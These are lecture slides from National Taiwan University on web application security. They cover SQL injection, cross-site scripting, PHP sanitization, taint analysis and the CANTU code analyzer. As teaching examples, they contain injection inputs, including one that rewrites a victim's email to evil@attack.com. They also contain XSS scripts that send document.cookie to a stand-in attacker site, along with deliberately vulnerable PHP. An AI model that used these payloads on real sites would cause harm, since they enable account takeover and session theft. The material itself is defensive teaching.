Analysis of Web Application Security

Yih-Kuen Tsay (蔡益坤)
Dept. of Information Management
National Taiwan University

Joint work with Chen-I Chung, Chih-Pin Tai, Chen-Ming Yao, Rui-Yuan Yeh, and Sheng-Feng Yu

2012/11/28 @ JST
Caveats

- Concern mainly with security problems resulted from **program defects**
- Will use PHP and JavaScript for illustration, though there are many other languages
- Means of analysis in general
  - Testing and simulation
  - Formal verification
    - Algorithmic: **static analysis, model checking**
    - Deductive: theorem proving
  - Manual code review
Personal Perspective

- I am a formal verification person, seeking practical uses of my expertise.
- Web application security is one of the very few practical domains where programmers find program analyzers useful/indispensable.
- There are challenging problems unsolved by current commercial tools.
Outline

- Introduction
- Common Vulnerabilities and Defenses
- Objectives and Challenges
- Opportunities
- Our Approach: CANTU
- Conclusion
How the Web Works

Client side

1. Interact with the browser

Browser

User

2. Request for a Web page

Delivery of the page in HTML + scripts

3. Retrieve/generate the page, possibly using data from the database and adding client-side scripts to enrich functionalities

4. Display the page and execute client-side scripts on the page

5. Note: cookies or the equivalent are typically used for maintaining sessions.
Web Applications

- Web applications refer mainly to the application programs running on the server.
- Part of a Web application may run on the client.
- Together, they make the Web interactive, convenient, and versatile.
- Online activities enabled by Web applications:
  - Hotel/transportation reservation,
  - Banking, social networks, etc.
- As such, Web applications often involve user’s private and confidential data.
Web Applications: Dynamic Contents

```php
<?
$link = mysql_connect('localhost','username','password'); // connect to database
$db = mysql_select_db('dbname',$link);

fixInput(); // invoke a user-defined sanitization function to validate all inputs

$user=$_POST['account'];

// fetch and display account information
$query="SELECT id, name, description FROM project WHERE user_account='".$user."'";
$query_result = mysql_query($query);
while ($result=mysql_fetch_row($query_result)) {
    echo '<table>);
    echo '<tr>;
    echo '<td width="100px">'.$result[0].'</td>;
    echo '<td width="100px">'.$result[1].'</td>;
    echo '<td width="100px">'.$result[2].'</td>;
    echo '</tr>;
    echo '</table>;
}
?>
```
Web Applications: Client-Side Script

```html
<html>
<head>
    <title>Example 2</title>
    <script type='text/javascript'>
        function submit_form(){
            if(document.getElementById('user_account').value!=""){
                document.getElementById('project_form').submit();
            }
        }
    </script>
</head>
<body>
    <form id='project_form' action='my_project.php' method='POST'>
        <input type='text' name='user_account' id='user_account' />
        <input type='button' value='OK' onclick='submit_form();' />
        <input type='reset' value='Reset' />
    </form>
</body>
</html>
```
Vulnerable Web Applications

- Many Web applications have **security vulnerabilities** that may be exploited by the attacker.
- Most security vulnerabilities are a result of **bad programming practices** or **programming errors**.
- The possible damages:
  - Your personal data get stolen.
  - Your website gets infected or sabotaged.
  - These may bare financial or legal consequences.
A Common Vulnerability: SQL Injection

- User’s inputs are used as parts of an SQL query, without being checked/validated.
- Attackers may exploit the vulnerability to read, update, create, or delete arbitrary data in the database.
- Example (display all users’ information):
  - Relevant code in a vulnerable application:
    ```php
    $sql = "SELECT * FROM users WHERE id = " . $_GET['id'] . "";
    ```
  - The attacker types in `0' OR '1' = '1` as the input for id.
  - The actual query executed:
    ```sql
    SELECT * FROM users WHERE id = '0' OR '1' = '1';
    ```
  - So, the attacker gets to see every row from the users table.
1. Send an HTTP request with id = 1128

2. The server returns the user data with id=1128
(SQL query:
SELECT *
FROM user
WHERE id='1128';)

1. Send an HTTP request with id = 0' OR '1'='1

2. The server returns all tuples in the user table
(SELECT *
FROM user
WHERE id='0' OR '1'='1';)
Compromised Websites

- Compromised legitimate websites can introduce malware and scams.
- Compromised sites of 2010 include:
  - the European site of popular tech blog TechCrunch,
  - news outlets like the Jerusalem Post, and
  - local government websites like that of the U.K.’s Somerset County Council.
- 30,000 new malicious URLs every day.

Source: Sophos security threat report 2011
Compromised Websites (cont.)

- More than 70% of those URLs are legitimate websites that have been hacked or compromised.
- Criminals gain access to the data on a legitimate site and subvert it to their own ends.
- They achieve this by
  - exploiting vulnerabilities in the software that power the sites or
  - by stealing access credentials from malware-infected machines.

Source: Sophos security threat report 2011
Prevention

- Properly configure the server
- Use secure application interfaces
- Validate (sanitize) all inputs from the user and even the database
- Apply detection/verification tools and repair errors before deployment
  - Commercial tools
  - Free tools from research laboratories
Outline

- Introduction
- Common Vulnerabilities and Defenses
- Objectives and Challenges
- Opportunities
- Our Approach: CANTU
- Conclusion
OWASP Top 10 Application Security Risks

- Injection
- Cross-Site Scripting (XSS)
- Broken Authentication and Session Management
- Insecure Direct Object Reference
- Cross-Site Request Forgery (CSRF)
- Security Misconfiguration
- Insecure Cryptographic Storage
- Failure to Restrict URL Access
- Insufficient Transport Layer Protection
- Unvalidated Redirects and Forwards
## What Changed from 2007 to 2010

<table>
<thead>
<tr>
<th>OWASP Top 10 – 2007 (Previous)</th>
<th>OWASP Top 10 – 2010 (New)</th>
</tr>
</thead>
<tbody>
<tr>
<td>A2 – Injection Flaws</td>
<td>A1 – Injection</td>
</tr>
<tr>
<td>A1 – Cross Site Scripting (XSS)</td>
<td>A2 – Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A7 – Broken Authentication and Session Management</td>
<td>A3 – Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A4 – Insecure Direct Object Reference</td>
<td>A4 – Insecure Direct Object References</td>
</tr>
<tr>
<td>A5 – Cross Site Request Forgery (CSRF)</td>
<td>A5 – Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>&lt;was T10 2004 A10 – Insecure Configuration Management&gt;</td>
<td>A6 – Security Misconfiguration (NEW)</td>
</tr>
<tr>
<td>A8 – Insecure Cryptographic Storage</td>
<td>A7 – Insecure Cryptographic Storage</td>
</tr>
<tr>
<td>A10 – Failure to Restrict URL Access</td>
<td>A8 – Failure to Restrict URL Access</td>
</tr>
<tr>
<td>A9 – Insecure Communications</td>
<td>A9 – Insufficient Transport Layer Protection</td>
</tr>
<tr>
<td>&lt;not in T10 2007&gt;</td>
<td>A10 – Unvalidated Redirects and Forwards (NEW)</td>
</tr>
<tr>
<td>A3 – Malicious File Execution</td>
<td>&lt;dropped from T10 2010&gt;</td>
</tr>
<tr>
<td>A6 – Information Leakage and Improper Error Handling</td>
<td>&lt;dropped from T10 2010&gt;</td>
</tr>
</tbody>
</table>
SQL Injection (cont.)

Example:

Forgot Password
Email: 
We will send your account information to your email address.

relevant code:

```sql
$sql = "SELECT login_id, passwd, full_name, email FROM users
WHERE email = "' . $_GET['email'] . "'";
```

The attacker may set things up to steal the account of Bob (bob@example.com) by fooling the server to execute:

```sql
SELECT login_id, passwd, full_name, email FROM users
WHERE email = 'x';
UPDATE users
SET email = 'evil@attack.com'
WHERE email = 'bob@example.com';
```
Defenses against SQL Injection in PHP

- **Sources** (where tainted data come from)
  - $_GET, $_POST, $_SERVER, $_COOKIE, $_FILE, $_REQUEST, $_SESSION

- **Sinks** (where tainted data should not be used)
  - mysql_query(), mysql_create_db(), mysql_db_query(), mysql_drop_db(), mysql_unbuffered_query()

- **Defenses**
  - Parameter: magic_quotes_gpc
  - Built-in function: addslashes
  - Prepared statements (for database accesses)
Defenses against SQL Injection (cont.)

- Set the `magic_quotes_gpc` parameter on in the PHP configuration file.
  - When the parameter is on, ' (single-quote), " (double quote), \ (backslash) and NULL characters are escaped with a backslash automatically.
- Built-in function: `addslashes( string $str )`
  - The same effect as setting `magic_quotes_gpc` on

```php
<?php
$str = "Is your name O’Brien?";
echo addslashes($str);
// Output: Is your name O\’Brien?
?>
```
Defenses against SQL Injection (cont.)

- Prepared statements
  - Set up a statement once, and then execute it many times with different parameters.
  - Example:
    ```php
    $db_connection = new mysqli("localhost", "user", "pass", "db");
    $statement = $db_connection->prepare("SELECT * FROM users WHERE id = ?");
    $statement->bind_param("i", $id);
    $statement->execute(); ...
    ```
  - To execute the above query, one needs to supply the actual value for ? (which is called a placeholder).
  - The first argument of `bind_param()` is the input’s type: i for int, s for string, d for double
Cross-Site Scripting (XSS)

- The server sends unchecked/unvalidated data to user’s browser.
- Attackers may exploit the vulnerability to execute client-side scripts to:
  - Hijack user sessions
  - Deface websites
  - Conduct phishing attacks
- Types of cross-site scripting:
  - Stored XSS
  - Reflected XSS
Stored XSS

1. Post a malicious message onto the bulletin board.

```<script>document.location= 
"http://attackersite/collect.cgi?cookie=
+document.cookie;
</script>```

2. Logon request

3. Set-Cookie: ...

4. Read the bulletin board

5. Show the malicious script

```<script>document.location= 
"http://attackersite/collect.cgi?cookie=
+document.cookie;
</script>```

6. The victim's browser runs the script and transmits the cookie to the attacker.

message Victim aware of

message Victim unaware of
Reflected XSS

1. Logon request

2. Set-Cookie: ID=A12345

3. Request by clicking unwittingly a link to Attacker’s site

4. `<html>
</html>`

5. `<html>
</html>`

6. `<html>
   <Title>Welcome!</Title>
   <script>window.open('http://attackersite/collect.cgi?cookie='+document.cookie);
</script>
`
Defenses against Cross-Site Scripting in PHP

- Sources (assumption: the database is not tainted)
  - \$_GET, \$_POST, \$_SERVER, \$_COOKIE, \$_FILE, \$_REQUEST, \$_SESSION

- More Sources (assumption: the database is tainted)
  - mysql_fetch_array(), mysql_fetch_field(), mysql_fetch_object(), mysql_fetch_row(), ...

- Sinks
  - echo, printf, ...

- Defenses
  - htmlspecialchars()
  - htmlentities()
Defenses against Cross-Site Scripting (cont.)

- Built-in function: htmlspecialchars( string $str [, int $quote_style = ENT_COMPAT])
  - Convert special characters to HTML entities
    - '& (ampersand) becomes '&amp;'
    - "" (double quote) becomes '&quot;' when ENT_NOQUOTES is not set.
    - ''' (single quote) becomes '&#039;' only when ENT_QUOTES is set.
    - '< (less than) becomes '&lt,'
    - '>' (greater than) becomes '&gt,'

```php
<?php
    $new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
    echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;?
```
Defenses against Cross-Site Scripting (cont.)

- Built-in function: `htmlentities( string $string [, int $quote_style = ENT_COMPAT] )`
  - the same effect with built-in function: `htmlspecialchars()`

```php
<?php
$orig = "I'll "walk" the <b>dog</b> now";
$a = htmlentities($orig);
$b = html_entity_decode($a);
echo $a; // I'll &quot;walk&quot; the &lt;b&gt;dog&lt;/b&gt; now
now
echo $b; // I'll "walk" the <b>dog</b> now
?>
```
Outline

- Introduction
- Common Vulnerabilities and Defenses
- Objectives and Challenges
- Opportunities
- Our Approach: CANTU
- Conclusion
Current Status

- Most known Web application security vulnerabilities can be fixed.
- There are code analysis tools that can help to detect such security vulnerabilities.
- So, what are the problems?
```php
<?php
$id = $_POST["id"];
$dept = $_POST["dept"];
if ($dept == 0) { // guest
echo "Hello! guest";
displayWelcomePage();
}
else { // staff
    if ($id == "admin") {
        echo "Hello! ".$_id;
displayManagementFun();
    }
    else {
        echo "Hello! ".$_dept.$id;
displayBasicFun();
    }
}
?>
```
Control Flow Graph

02: $id = \$_POST["id"];
03: $dept = \$_POST["dept"];

$dept == 0

05: echo "Hello! guest";
06: displayWelcomePage();

True

$id == "admin"

10: echo "Hello! ".\$id;
11: displayManagementFun();
14: echo "Hello! ".\$dept.\$id;
15: displayBasicFun();

Exit
Dependency Graph (1/3)

02: $id = \$_POST["id"];
03: $dept = \$_POST["dept"];

$dept == 0

05: echo "Hello! guest";
06: displayWelcomePage();

Untainted

"Hello! Guest", 5
$dept, 3

Untainted

Tainted

$POST["id"], 2

Untainted

Tainted

$POST["dept"], 3

Un tainted

echo, 5

Exit
Dependency Graph (2/3)

02: $id = \$_POST["id"];  
03: $dept = \$_POST["dept"];  

$dept == 0  
False  
$id == "admin"  
True  

10: echo "Hello! ".$id;  
11: displayManagementFun();

$_POST["dept"], 3  
$_POST["id"], 2  

"Hello! ", 10  
$dept, 3  
$id, 2  

str_concat, 10  

$dept == 0  
Untainted  
$id == "admin"  
Tainted  

exit, 10  
Tainted  

Note: a better analysis would take into account $id == “admin”.
02: $id = \$_POST["id"];
03: $dept = \$_POST["dept"];

$dept == 0
False
$id == "admin"
False

14: echo "Hello! ".$dept.$id;
15: displayBasicFun();

$_POST["dept"], 3
Tainted
$_POST["id"], 2
Tainted

"Hello! ", 14
Untainted
$dept, 3
Tainted
$id , 2
Tainted

str_concat, 14
Tainted
str_concat, 14
Tainted

echo, 14
Tainted
Exit
PHP code

```php
<?php
$a = "message";
$b = &$a;
$a = $_GET["msg"];  
echo $b;
?>
```

Dependency Graph

```
$_GET["msg"], 4

$b, 3

echo, 5

$a, 4

alias

Tainted

Tainted

Alias Information

must-alias{(a,b)}
```
Detecting Vulnerabilities by Taint Analysis

- All inputs from a *source* are considered *tainted*.
- Data that depend on tainted data are also considered tainted.
- Some functions may be designated as *sanitization* functions (for particular security vulnerabilities).
- Values returned from a sanitization function are considered clean or untainted.
- Report vulnerabilities when tainted values are used in a *sink*.
Problems and Objectives

Four problems (among others) remain:

- Existing code analysis tools report too many false positives.
- They rely on the programmer to ensure correctness of sanitization functions.
- Many tools report false negatives in some cases.
- Web application languages/frameworks are numerous and hard to catch up.

We aim to solve the first three problems and alleviate the fourth.
Use of a Code Analysis Tool

Source code, Web pages → Code analysis tool → Analysis results

Website → Analysis report → Manual review

Improvement recommendations → Review meeting

Note: fewer false positives means less workload for the human reviewer.
Note: there may be possible feedback loops between two tasks.
Challenges

- Dynamic features of scripting languages popular for Web application development:
  - Dynamic typing
  - Dynamic code generation and inclusion
- Other difficult language features:
  - Aliases and hash tables
  - Strings and numerical quantities
- Interactions between client-side code, server-side code, databases, and system configurations
- Variation in browser and server behaviors
In PHP, aliases may be introduced by using the reference operator “&”.

```php
<?php
$a = "test";  // $a: untainted
$b = & $a;    // $a, $b: untainted
$a = $_GET["msg"];  // $a , $b: tainted.
echo $b;  // XSS vulnerability
?>
```

Tool A: false negative
Tool B: true positive

Note: Tool A and Tool B are two popular commercial code analysis tools.

```php
<?php
$a = "test";  // $a: untainted
$b = & $a;    // $a, $b: untainted
grade();
function grade() {
$a = $_GET["msg"];  // $a, $b: tainted.
}
echo $b;  // XSS vulnerability
?>
```
None of the existing tools (that we have tested) handles aliases between objects.

```php
<?php
class car{
    var $color;
    function set_color($c){
        $this->color = $c;
    }
}
$mycar = new car;
$mycar->set_color("blue");
$a_mycar = &$mycar;
$a_mycar->set_color("<script>alert('xss')</script>");
echo $mycar->color."<br">;
?>
```
To exploit the XSS vulnerability at line 8, we have to generate input strings satisfying the conditions at lines 1, 2, and 7, which involve both string and numeric constraints.
Consider the class of programs with:

- Assignment
- Sequencing, conditional branch, goto
- At least three string variables
- String concatenation (or even just appending a symbol to a string)
- Equality testing between two string variables

The **Reachability Problem** for this class of programs is **undecidable.**
Outline

- Introduction
- Common Vulnerabilities and Defenses
- Objectives and Challenges
- Opportunities
- Our Approach: CANTU
- Conclusion
Research Opportunities

- Advanced and integrated program analyses
- Formal certification of Web applications
- Development methods (including language design) for secure Web applications
- A completely new and secure Web (beyond http-related protocols)
Business Opportunities: 
Code Review/Analysis Service

- This requires a combination of knowledge
  - Security domain
  - Program analysis
  - Program testing
  - Review process

- There are real and growing demands!
- A few industry and academic groups are building up their capabilities.
Outline

- Introduction
- Common Vulnerabilities and Defenses
- Objectives and Challenges
- Opportunities
- Our Approach: CANTU
- Conclusion
CANTU (Code Analyzer from NTU)

- It is an integrated environment for analyzing Web applications.
- Main features:
  - Building on CIL, to treat different languages and frameworks
  - Dataflow analysis across client, server, database, and system configurations
  - Incorporating dynamic analysis to confirm true positives
Architecture of CANTU

- **PHP**
- **HTML**
- **JavaScript**
- **SQL**

**Configuration**
- **Database**
- **Translator**

**Parser**
- **Parser**
- **Parser**
- **Parser**

**Translator**
- **Translator**

**CIL Intermediate Representation**

**Static Analysis**
- Dataflow Analysis
- Vulnerability Detection

**Dynamic Testing**
- Test Cases Generation
- Vulnerability Confirmation

**Analysis Results**
Components of Static Analysis

- **PHP Web Applications**
  - Parse PHP to C AST

- **Python Web Applications**
  - Parse Python to C AST

- **Other Web Applications**
  - Parse ... to C AST

- **C Abstract Syntax Tree**
  - Convert C AST to CIL
  - CIL Intermediate Representation

- **Data Flow Analysis**
- **Taint Analysis**
- **Sanitization Function Verification**
- **HTML Validation**
- **Other Static Analyses**

**Integrated Analysis Results**
Representing PHP Variables in CIL

```c
struct array{
    struct hashtable *val;
    struct hashtable *index;
};
union mixed {
    short bval;
    long inum;
    double fnum;
    char* str;
    struct array arr;
    void* object;
    char* resource;
} ;
struct variable{
    enum phpt {BOOL, INT, FLOAT, STR, ARRAY, OBJECT, RESOURCE, NULLType
    } val_type;
    union mixed val;
};
```
Executing Generated Tests

Client

CANTU
Project: project1
Vul:
1. XSS
2. SQL injection

a.php
original code
<!-- instrument code -->
<script src="simulate.js"></script>

simulate.js
/*
Uses the ajax method to get test info
*/
/*
manipulate the webpage
*/

runTest.php
/*
instrument javascript code
*/
/*
redirect to the entry page
*/
redirect("a.php");

getStep.php
/*
Get a test step
*/

verify.php
/*
verify
*/

Server

testcase1.xml
<TestCase>
<vulnerability>Reflected XSS</vulnerability>
<precondition></precondition>
<scenario>
<step>
<id>1</id>
<page>a.php</page>
&action>browse</action>
<target></target>
<typingString></typingString>
</step>
...;
</scenario>
<expectedValue>
<type>document.title</type>
<info>XSS</info>
</expectedValue>
<result></result>
</TestCase>
Outline

- Introduction
- Common Vulnerabilities and Defenses
- Objectives and Challenges
- Opportunities
- Our Approach: CANTU
- Conclusion
Conclusion

- Web application security has drawn much attention from the public, the industry, and the academia.
- Making Web applications secure requires a combination of expertise in different areas.
- This provides great opportunities for research/development collaboration.
  - CANTU represents our vision of this collaboration.
- It should also create good opportunities for starting new businesses.
Selected References

Selected References (cont.)

Selected References (cont.)